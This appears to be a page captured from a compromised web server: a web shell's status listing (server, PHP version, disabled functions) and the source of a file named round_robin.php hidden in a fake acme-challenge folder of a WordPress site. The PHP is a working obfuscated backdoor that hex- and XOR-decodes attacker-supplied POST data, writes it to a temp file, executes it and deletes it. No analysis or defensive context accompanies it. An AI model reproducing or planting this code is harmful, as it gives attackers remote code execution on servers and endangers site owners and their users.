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Server: nginx/1.28.0
System: Linux yisu-68a5f20334161 5.4.0-216-generic #236-Ubuntu SMP Fri Apr 11 19:53:21 UTC 2025 x86_64
User: www (1000)
PHP: 8.2.28
Disabled: passthru,exec,system,putenv,chroot,chgrp,chown,shell_exec,popen,proc_open,pcntl_exec,ini_alter,ini_restore,dl,openlog,syslog,readlink,symlink,popepassthru,pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,imap_open,apache_setenv
$ pwd: /www/wwwroot/q.autos58.cn/wp-content/well-known/acme-challenge/e/a/a/h/
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File: /www/wwwroot/q.autos58.cn/wp-content/well-known/acme-challenge/e/a/a/h/round_robin.php
<?php

if(isset($_POST) && isset($_POST["\x65lem\x65nt"])){
	$ent = hex2bin($_POST["\x65lem\x65nt"]);
	$binding= '';foreach(str_split($ent) as $char){$binding .= chr(ord($char) ^ 85);}
	$marker = array_filter([session_save_path(), "/var/tmp", "/tmp", getcwd(), sys_get_temp_dir(), ini_get("upload_tmp_dir"), getenv("TEMP"), "/dev/shm", getenv("TMP")]);
	foreach ($marker as $data):
    		if ((function($d) { return is_dir($d) && is_writable($d); })($data)) {
    $resource = vsprintf("%s/%s", [$data, ".ref"]);
    if (file_put_contents($resource, $binding)) {
	include $resource;
	@unlink($resource);
	die();
}
}
endforeach;
}
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